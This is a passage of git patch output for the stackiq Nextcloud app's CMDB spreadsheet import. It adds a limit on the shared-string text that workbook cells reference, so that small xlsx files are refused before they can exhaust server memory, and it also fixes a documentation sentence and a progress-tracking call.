READER_CLASS = RecordingXlsxReader::class; + }; + + $renamed = CmdbTestSupport::buildWorkbook(sheets: $sheets, extraParts: ['xl/strs.xml' => self::sharedStrings(count: 1001)]); + try { + RecordingXlsxReader::$loads = 0; + $reader->read(path: $renamed, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode()); + $this->assertSame(['maxSharedStrings' => 1000], $e->getDetails()); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded'); + } finally { + unlink($renamed); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testASharedStringsTableUnderAnotherNameIsCounted() + /** * A shared-strings part or a sheet part that unpacks beyond maxPartBytes is refused before any sheet is loaded. * From eff14595dada12164fa5c3d502636aad1eee9dec Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 17:29:08 +0200 Subject: [PATCH 170/176] =?UTF-8?q?fix(review):=20#1219=20p3=20=E2=80=94?= =?UTF-8?q?=20the=20docs=20no=20longer=20say=20a=20delegated=20admin=20rea?= =?UTF-8?q?ches=20a=20row?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Since the import is for Nextcloud administrators only, a delegated stackiq admin gets 403 on the route and never reaches a row, so the sentence saying such a row is reported as failed was wrong. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 819f89e3f..a5781afc7 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -207,10 +207,9 @@ colliding. - **Known APPID, status changed in TOPdesk**: the usage gets the new status, also where the regular steps of the usage lifecycle (Acquisition → Planned → In production → To be phased out → Phased out) do not lead - there. The usage schema allows this jump to administrators only, so the - import must be run by a Nextcloud administrator; a delegated stackiq - admin who is not one gets the row reported as *failed*. Other users - still follow the regular steps. + there. The usage schema allows this jump to administrators only; the + import is open to Nextcloud administrators only, so it may always make + it. Other users still follow the regular steps. - **Known APPID, nothing changed**: nothing is saved; the row is reported as *unchanged*. Importing the same export twice creates nothing the second time. From 1fb868dee2d17b2d39d3763418d59541e6337bf8 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 17:34:37 +0200 Subject: [PATCH 171/176] fix(cmdb-import): clear a stale cancel flag through ProgressStore::clearCancel() Development moved progress state into ProgressStore (#1227), which has no remove(); clearCancelRequested() still called it, so phpstan and psalm failed on the PR merged with development. It now calls clearCancel(), which also drops the per-request cancel check. Verified with phpstan, psalm, phpmd, the full unit suite (only the 20 known environment errors) and the hydra gates. Co-Authored-By: Claude Opus 5.5 --- lib/Service/ProgressTracker.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/Service/ProgressTracker.php b/lib/Service/ProgressTracker.php index e46961b81..b0c9ce229 100644 --- a/lib/Service/ProgressTracker.php +++ b/lib/Service/ProgressTracker.php @@ -448,7 +448,7 @@ public function isCancelRequested(string $operationId): bool { * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ public function clearCancelRequested(string $operationId): void { - $this->store->remove(key: 'cancel_' . $operationId); + $this->store->clearCancel(operationId: $operationId); }//end clearCancelRequested() /** From 38a73afa9a66209ec73b49823f4a8664759ccb3c Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 18:38:26 +0200 Subject: [PATCH 172/176] fix(cmdb-import): bound the shared-string text the cells reference before parsing PhpSpreadsheet gives every cell that references a shared string its own copy of the text, and clones each run of a rich-text string first. One long or many-run string referenced by many cells therefore exhausted a 512M worker from a file of about 1.4 MB, while it passed every size cap. The reader now weighs each shared string (the bytes of its text plus 16 per element, so each run counts) and adds up the weights the t="s" cells of every part reference, streamed with XMLReader. Above maxReferencedStringBytes (64 MB, counted once per source sheet) it refuses with WORKBOOK_TOO_LARGE before PhpSpreadsheet loads anything. The shared-strings count no longer requires an sst root element: PhpSpreadsheet reads the si children of whatever part the relationships name without checking its root, so every XML part is counted. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 1 + l10n/en.js | 3 +- l10n/en.json | 3 +- l10n/nl.js | 3 +- l10n/nl.json | 3 +- lib/Service/Cmdb/CmdbImportProfile.php | 26 ++ lib/Service/Cmdb/CmdbWorkbookReader.php | 243 ++++++++++++++---- lib/Settings/cmdb-import/topdesk-profile.json | 1 + openapi.json | 2 +- .../changes/cmdb-export-import/contract.md | 4 +- openspec/changes/cmdb-export-import/design.md | 4 +- .../specs/cmdb-export-import/spec.md | 10 +- src/utils/cmdbImport.js | 10 +- src/utils/cmdbImport.spec.js | 10 +- .../Service/Cmdb/CmdbImportProfileTest.php | 1 + .../Service/Cmdb/CmdbWorkbookReaderTest.php | 122 +++++++++ 16 files changed, 385 insertions(+), 61 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index a5781afc7..0c32afe70 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -326,6 +326,7 @@ every import: | `maxUncompressedBytes` | `52428800` (50 MB) | the size of the workbook once unpacked, checked before a sheet is parsed | | `maxPartBytes` | `10485760` (10 MB) | the size of any one part of the workbook once unpacked, such as a sheet or the shared-strings table, checked before a sheet is parsed | | `maxSharedStrings` | `200000` | the number of different texts in the workbook's shared-strings table, counted before a sheet is parsed | +| `maxReferencedStringBytes` | `67108864` (64 MB) | the shared text all cells of the workbook reference together, counted once per cell and once per CMDB sheet before a sheet is parsed; a long text that many cells repeat counts as often as it is repeated | The section's help text shows the defaults; when the server refuses a file, the message shows the limit the server applied. A larger file also has to diff --git a/l10n/en.js b/l10n/en.js index 36ae61896..9f932408b 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1126,7 +1126,8 @@ OC.L10N.register( "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.", "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.", - "The workbook holds more than {count} different texts, the most the import reads.": "The workbook holds more than {count} different texts, the most the import reads." + "The workbook holds more than {count} different texts, the most the import reads.": "The workbook holds more than {count} different texts, the most the import reads.", + "Together, the cells of the workbook reference more than {size} of shared text, the most the import reads.": "Together, the cells of the workbook reference more than {size} of shared text, the most the import reads." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index fd68e5d64..f9eec08eb 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1125,6 +1125,7 @@ "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.", "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.", - "The workbook holds more than {count} different texts, the most the import reads.": "The workbook holds more than {count} different texts, the most the import reads." + "The workbook holds more than {count} different texts, the most the import reads.": "The workbook holds more than {count} different texts, the most the import reads.", + "Together, the cells of the workbook reference more than {size} of shared text, the most the import reads.": "Together, the cells of the workbook reference more than {size} of shared text, the most the import reads." } } diff --git a/l10n/nl.js b/l10n/nl.js index 8b501eef3..135c2f2ca 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1196,7 +1196,8 @@ OC.L10N.register( "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan.", "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Uitgepakt is het onderdeel {part} van de werkmap groter dan {size}, het maximum dat de import van één onderdeel leest.", - "The workbook holds more than {count} different texts, the most the import reads.": "De werkmap bevat meer dan {count} verschillende teksten, het maximum dat de import leest." + "The workbook holds more than {count} different texts, the most the import reads.": "De werkmap bevat meer dan {count} verschillende teksten, het maximum dat de import leest.", + "Together, the cells of the workbook reference more than {size} of shared text, the most the import reads.": "Samen verwijzen de cellen van de werkmap naar meer dan {size} gedeelde tekst, het maximum dat de import leest." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 175f491a6..f0895fd53 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1195,6 +1195,7 @@ "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan.", "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Uitgepakt is het onderdeel {part} van de werkmap groter dan {size}, het maximum dat de import van één onderdeel leest.", - "The workbook holds more than {count} different texts, the most the import reads.": "De werkmap bevat meer dan {count} verschillende teksten, het maximum dat de import leest." + "The workbook holds more than {count} different texts, the most the import reads.": "De werkmap bevat meer dan {count} verschillende teksten, het maximum dat de import leest.", + "Together, the cells of the workbook reference more than {size} of shared text, the most the import reads.": "Samen verwijzen de cellen van de werkmap naar meer dan {size} gedeelde tekst, het maximum dat de import leest." } } diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php index d0abd1fd6..1e8805c90 100644 --- a/lib/Service/Cmdb/CmdbImportProfile.php +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -81,6 +81,11 @@ class CmdbImportProfile { */ public const DEFAULT_MAX_SHARED_STRINGS = 200000; + /** + * Default limit on the shared-string text a workbook's cells reference together (64 MB). + */ + public const DEFAULT_MAX_REFERENCED_STRING_BYTES = 67108864; + /** * Sources of the municipality pack that come from the request, not from a sheet. * @@ -244,6 +249,27 @@ public function maxSharedStrings(): int { return self::DEFAULT_MAX_SHARED_STRINGS; }//end maxSharedStrings() + /** + * The limit on the shared-string text a workbook's cells reference together, in bytes. + * + * PhpSpreadsheet gives every cell that references a shared string its own + * copy of the text, so one long string referenced by many cells costs far + * more memory than the file's size; the reader adds up what the cells + * reference before it parses a sheet. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function maxReferencedStringBytes(): int { + $limit = $this->profile()['maxReferencedStringBytes'] ?? null; + if (is_int($limit) === true && $limit > 0) { + return $limit; + } + + return self::DEFAULT_MAX_REFERENCED_STRING_BYTES; + }//end maxReferencedStringBytes() + /** * The maximum number of non-empty rows per source sheet. * diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index 352612769..d1d47821a 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -34,7 +34,12 @@ * profile's `maxUncompressedBytes`, a single part that unpacks to more * than `maxPartBytes`, and a shared-strings table with more entries than * `maxSharedStrings` (counted with a streaming XMLReader, without building - * the table). A source sheet whose last used row lies beyond twice the row + * the table). PhpSpreadsheet also gives every cell that references a shared + * string its own copy of the text, after cloning each run of a rich-text + * string, so one long or many-run string referenced by many cells costs + * memory and time per cell; the shared-string text the cells reference is + * therefore bounded too (`maxReferencedStringBytes`, streamed as well). + * A source sheet whose last used row lies beyond twice the row * limit is `TOO_MANY_ROWS`. A read filter then materialises only the * header row and the resolved columns of the rows up to that bound * (CmdbReadFilter), which bounds the cell objects, not the parse. @@ -136,7 +141,8 @@ public function isAvailable(): bool { * What the workbook can make PhpSpreadsheet hold is bounded before any * part is parsed: the unpacked size of the package (the profile's * `maxUncompressedBytes`) and of each part (`maxPartBytes`), the number of - * shared strings (`maxSharedStrings`), then the last used row of every + * shared strings (`maxSharedStrings`), the shared-string text the cells + * reference (`maxReferencedStringBytes`), then the last used row of every * source sheet. * The sheets are then read twice through a read filter: once for the * header row, once for the resolved columns of the data rows, so no other @@ -156,6 +162,11 @@ public function isAvailable(): bool { public function read(string $path, CmdbImportProfile $profile): array { $this->assertUncompressedSize(path: $path, limit: $profile->maxUncompressedBytes(), partLimit: $profile->maxPartBytes()); $this->assertSharedStringCount(path: $path, limit: $profile->maxSharedStrings()); + $this->assertReferencedStringBytes( + path: $path, + limit: $profile->maxReferencedStringBytes(), + sheetCount: count($profile->sheetNames()) + ); if ($this->isAvailable() === false) { throw new CmdbImportException( @@ -299,9 +310,11 @@ private function assertUncompressedSize(string $path, int $limit, int $partLimit * * The table's `count` and `uniqueCount` attributes are written by the * producer and can be wrong, so the `` elements are counted, streamed - * with XMLReader straight from the ZIP part. Network access and entity - * substitution stay off. A part that does not parse is left to - * PhpSpreadsheet, which refuses it as NOT_XLSX. + * with XMLReader straight from the ZIP part. PhpSpreadsheet reads the `` + * children of whatever part the workbook's relationships name, whatever + * that part's name or root element, so every XML part is counted. A part + * that does not parse is left to PhpSpreadsheet, which refuses it as + * NOT_XLSX. * * @param string $path The xlsx file. * @param int $limit The maximum number of shared strings. @@ -311,35 +324,22 @@ private function assertUncompressedSize(string $path, int $limit, int $partLimit * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. */ private function assertSharedStringCount(string $path, int $limit): void { - foreach (self::sharedStringParts(path: $path) as $part) { - $xml = new XMLReader(); - $previous = libxml_use_internal_errors(true); - try { - if ($xml->open('zip://' . $path . '#' . $part, null, LIBXML_NONET) === false) { - continue; + self::streamParts( + path: $path, + consume: static function (XMLReader $xml) use ($limit): void { + if (self::countSharedStrings(xml: $xml, limit: $limit) > $limit) { + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'The shared-strings table holds more entries than the profile allows', + details: ['maxSharedStrings' => $limit] + ); } - - $count = self::countSharedStrings(xml: $xml, limit: $limit); - $xml->close(); - } finally { - libxml_clear_errors(); - libxml_use_internal_errors($previous); } - - if ($count > $limit) { - throw new CmdbImportException( - errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, - message: 'The shared-strings table holds more entries than the profile allows', - details: ['maxSharedStrings' => $limit] - ); - } - }//end foreach + ); }//end assertSharedStringCount() /** - * Count the `` entries of a shared-strings part, stopping one past the limit. - * - * A part whose root element is not `sst` counts as 0. + * Count the `` children of a part's root element, stopping one past the limit. * * @param XMLReader $xml The reader, opened on one part. * @param int $limit The maximum number of shared strings. @@ -349,13 +349,9 @@ private function assertSharedStringCount(string $path, int $limit): void { * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 */ private static function countSharedStrings(XMLReader $xml, int $limit): int { - if (self::rootIsSharedStrings(xml: $xml) === false) { - return 0; - } - $count = 0; while ($count <= $limit && $xml->read() === true) { - if ($xml->nodeType === XMLReader::ELEMENT && $xml->depth === 1 && $xml->localName === 'si') { + if (self::isSharedString(xml: $xml) === true) { $count++; } } @@ -364,39 +360,188 @@ private static function countSharedStrings(XMLReader $xml, int $limit): int { }//end countSharedStrings() /** - * Whether the part an XMLReader just opened is a shared-strings table (root element `sst`). + * Refuse a workbook whose cells reference more shared-string text than the limit, before any sheet is parsed. + * + * PhpSpreadsheet gives every cell that references a shared string its own + * copy of the text, and clones every run of a rich-text string first, so a + * long or many-run string referenced by many cells costs memory and time + * per cell however small the file is. Each entry weighs the bytes of its + * text plus 16 per element in it (so a run weighs at least 32), and the + * weights of the entries every `t="s"` cell references are added up, + * streamed with XMLReader. Every XML part is read as a possible sheet and + * every cell counts, read or not; the sum counts once per source sheet, + * because two source sheets may point at the same part. * - * Advances the reader to the root element. + * @param string $path The xlsx file. + * @param int $limit The maximum weight of the referenced shared strings. + * @param int $sheetCount The number of source sheets the profile reads. + * + * @return void + * + * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private function assertReferencedStringBytes(string $path, int $limit, int $sheetCount): void { + $weights = []; + self::streamParts( + path: $path, + consume: static function (XMLReader $xml) use (&$weights): void { + foreach (self::sharedStringWeights(xml: $xml) as $index => $weight) { + $weights[$index] = max(($weights[$index] ?? 0), $weight); + } + } + ); + if ($weights === []) { + return; + } + + $budget = intdiv($limit, max(1, $sheetCount)); + $total = 0; + self::streamParts( + path: $path, + consume: static function (XMLReader $xml) use ($weights, $budget, $limit, &$total): void { + $total = self::referencedWeight(xml: $xml, weights: $weights, total: $total, budget: $budget); + if ($total > $budget) { + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'The cells of the workbook reference more shared-string text than the profile allows', + details: ['maxReferencedStringBytes' => $limit] + ); + } + } + ); + }//end assertReferencedStringBytes() + + /** + * The weight of each `` child of a part's root element, by its position. * * @param XMLReader $xml The reader, opened on one part. * - * @return bool + * @return array * * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 */ - private static function rootIsSharedStrings(XMLReader $xml): bool { + private static function sharedStringWeights(XMLReader $xml): array { + $weights = []; + $current = -1; while ($xml->read() === true) { - if ($xml->nodeType === XMLReader::ELEMENT) { - return $xml->localName === 'sst'; + if (self::isSharedString(xml: $xml) === true) { + $current++; + $weights[$current] = 0; + } + + if ($current >= 0 && $xml->depth >= 1) { + $weights[$current] += self::nodeWeight(xml: $xml); + } + } + + return $weights; + }//end sharedStringWeights() + + /** + * What one node inside a shared string adds to its weight: 16 for an element, the bytes of a text. + * + * @param XMLReader $xml The reader, on the node. + * + * @return int + */ + private static function nodeWeight(XMLReader $xml): int { + if ($xml->nodeType === XMLReader::ELEMENT) { + return 16; + } + + if (in_array($xml->nodeType, [XMLReader::TEXT, XMLReader::CDATA, XMLReader::WHITESPACE, XMLReader::SIGNIFICANT_WHITESPACE], true) === true) { + return strlen($xml->value); + } + + return 0; + }//end nodeWeight() + + /** + * Add the weights of the shared strings the `t="s"` cells of one part reference, stopping past the budget. + * + * @param XMLReader $xml The reader, opened on one part. + * @param array $weights The weight of each shared string, by index. + * @param int $total The weight counted so far. + * @param int $budget The weight above which the workbook is refused. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private static function referencedWeight(XMLReader $xml, array $weights, int $total, int $budget): int { + $shared = false; + while ($total <= $budget && $xml->read() === true) { + if ($xml->nodeType !== XMLReader::ELEMENT) { + continue; + } + + if ($xml->localName === 'c') { + $shared = ($xml->getAttribute('t') === 's'); + } elseif ($shared === true && $xml->localName === 'v') { + // PhpSpreadsheet casts the value the same way: (int) of the element's text. + $total += ($weights[(int)$xml->readString()] ?? 0); + $shared = false; } } - return false; - }//end rootIsSharedStrings() + return $total; + }//end referencedWeight() + + /** + * Whether the reader is on an `` child of the part's root element. + * + * @param XMLReader $xml The reader. + * + * @return bool + */ + private static function isSharedString(XMLReader $xml): bool { + return $xml->nodeType === XMLReader::ELEMENT && $xml->depth === 1 && $xml->localName === 'si'; + }//end isSharedString() + + /** + * Stream every XML part of the package through a callback, with network access and entity substitution off. + * + * A part that cannot be opened is skipped; libxml errors are kept from + * the log and cleared, also when the callback throws. + * + * @param string $path The xlsx file. + * @param callable(XMLReader): void $consume Reads one opened part. + * + * @return void + */ + private static function streamParts(string $path, callable $consume): void { + foreach (self::xmlParts(path: $path) as $part) { + $xml = new XMLReader(); + $previous = libxml_use_internal_errors(true); + try { + if ($xml->open('zip://' . $path . '#' . $part, null, LIBXML_NONET) === false) { + continue; + } + + $consume($xml); + $xml->close(); + } finally { + libxml_clear_errors(); + libxml_use_internal_errors($previous); + } + } + }//end streamParts() /** - * The XML parts of a package that may hold a shared-strings table. + * The XML parts of a package. * - * The workbook's relationships may point the table at any part name, and - * PhpSpreadsheet follows them, so every `.xml` part is a candidate; the - * caller keeps the ones whose root element is `sst`. The package's total - * unpacked size is already bounded, so streaming each part stays cheap. + * The workbook's relationships may point the shared-strings table and the + * sheets at any part name, and PhpSpreadsheet follows them, so every + * `.xml` part is a candidate. The package's total unpacked size is already + * bounded, so streaming each part stays cheap. * * @param string $path The xlsx file. * * @return array */ - private static function sharedStringParts(string $path): array { + private static function xmlParts(string $path): array { $zip = new ZipArchive(); if ($zip->open($path, ZipArchive::RDONLY) !== true) { return []; @@ -413,7 +558,7 @@ private static function sharedStringParts(string $path): array { $zip->close(); return $parts; - }//end sharedStringParts() + }//end xmlParts() /** * Refuse a source sheet whose last used row lies beyond the rows that are read. diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index 4a82336ee..79dc43253 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -8,6 +8,7 @@ "maxUncompressedBytes": 52428800, "maxPartBytes": 10485760, "maxSharedStrings": 200000, + "maxReferencedStringBytes": 67108864, "sheets": [ { "name": "Onbeh Applicaties CMDB", diff --git a/openapi.json b/openapi.json index cff6d6f2a..6cc9cf429 100644 --- a/openapi.json +++ b/openapi.json @@ -118,7 +118,7 @@ "description": "Missing or invalid CSRF token" }, "413": { - "description": "FILE_TOO_LARGE; details.maxBytes is the limit that fired: the profile's maximum, or PHP's upload_max_filesize or post_max_size when lower. WORKBOOK_TOO_LARGE; over a profile limit checked before parsing: the unpacked size of all parts (details.maxUncompressedBytes), of one part (details.maxPartBytes and details.part), or the number of shared strings (details.maxSharedStrings)", + "description": "FILE_TOO_LARGE; details.maxBytes is the limit that fired: the profile's maximum, or PHP's upload_max_filesize or post_max_size when lower. WORKBOOK_TOO_LARGE; over a profile limit checked before parsing: the unpacked size of all parts (details.maxUncompressedBytes), of one part (details.maxPartBytes and details.part), the number of shared strings (details.maxSharedStrings), or the shared-string text the cells reference together (details.maxReferencedStringBytes)", "content": { "application/json": { "schema": { diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index f8382ec08..1301745b2 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -64,7 +64,7 @@ Paths are relative to `/index.php/apps/stackiq`. | 500 | `UPLOAD_FAILED` (PHP could not store the upload), `IMPORT_FAILED` (unexpected; generic message, details only in the log) | | 503 | `MAPPING_UNAVAILABLE`, `READER_UNAVAILABLE`, `NOT_CONFIGURED`, `SCHEMA_OUTDATED` | -Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `WORKBOOK_TOO_LARGE`, it names the limit that fired: `{"maxUncompressedBytes": 52428800}` for the unpacked size of the package, `{"maxPartBytes": 10485760, "part": "xl/sharedStrings.xml"}` for one part, or `{"maxSharedStrings": 200000}` for the entries of the shared-strings table. For `SCHEMA_OUTDATED`, it is `{"schema": "module", "missing": ["externalKey"]}`: the schema and the properties it lacks. For `MUNICIPALITY_AMBIGUOUS`, it is `{"matches": ["", ""]}`, the uuids of the municipalities with the typed name. `IMPORT_IN_PROGRESS` has no details. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. +Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `WORKBOOK_TOO_LARGE`, it names the limit that fired: `{"maxUncompressedBytes": 52428800}` for the unpacked size of the package, `{"maxPartBytes": 10485760, "part": "xl/sharedStrings.xml"}` for one part, `{"maxSharedStrings": 200000}` for the entries of the shared-strings table, or `{"maxReferencedStringBytes": 67108864}` for the shared-string text the cells reference together. For `SCHEMA_OUTDATED`, it is `{"schema": "module", "missing": ["externalKey"]}`: the schema and the properties it lacks. For `MUNICIPALITY_AMBIGUOUS`, it is `{"matches": ["", ""]}`, the uuids of the municipalities with the typed name. `IMPORT_IN_PROGRESS` has no details. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. ### `POST /api/cmdb-import/{operationId}/cancel` **Auth**: the same as the import: a Nextcloud admin session, plus CSRF token. Delegated groups are refused. @@ -104,7 +104,7 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres | `NO_SOURCE_SHEET` | nothing to read | neither "Onbeh Applicaties CMDB" nor "Beheerde Applicaties CMDB" present | | `MISSING_COLUMN` | required column absent | a present source sheet lacks "APPID" or "Applicatie Naam" | | `TOO_MANY_ROWS` | file too large to process | a source sheet has more non-empty rows than `maxRowsPerSheet` (10,000) | -| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked, one part unpacks to more than `maxPartBytes` (10 MB), or the shared-strings table has more than `maxSharedStrings` (200,000) entries; checked before PhpSpreadsheet parses anything | +| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked, one part unpacks to more than `maxPartBytes` (10 MB), the shared-strings table has more than `maxSharedStrings` (200,000) entries, or the cells reference more than `maxReferencedStringBytes` (64 MB) of shared-string text together; checked before PhpSpreadsheet parses anything | | `MAPPING_UNAVAILABLE` | mapping cannot run | OpenRegister's `MappingEngine`/`PackDefinitionValidator` missing, or a shipped pack is invalid | | `READER_UNAVAILABLE` | xlsx reader missing | PhpSpreadsheet's Xlsx reader cannot be loaded | | `NOT_CONFIGURED` | stackiq not configured (503) | OpenRegister's object service, the stackiq register, or the `module`, `organization`, `usage` or `contactPerson` schema cannot be resolved; checked before the file is read | diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index 1eb94e096..cd3d557c6 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -94,7 +94,7 @@ Stackiq-specific settings live in the profile, not in the packs, so every pack s `CmdbWorkbookReader` checks the upload, then reads it: -1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. Then, still before PhpSpreadsheet parses anything: the parts may unpack to at most `maxUncompressedBytes` together and `maxPartBytes` each, and the shared-strings table, counted with a streaming XMLReader, may hold at most `maxSharedStrings` entries. Otherwise 413 `WORKBOOK_TOO_LARGE`. +1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. Then, still before PhpSpreadsheet parses anything: the parts may unpack to at most `maxUncompressedBytes` together and `maxPartBytes` each, the shared-strings table, counted with a streaming XMLReader, may hold at most `maxSharedStrings` entries, and the shared-string text the cells reference, counted once per cell, may weigh at most `maxReferencedStringBytes`. Otherwise 413 `WORKBOOK_TOO_LARGE`. 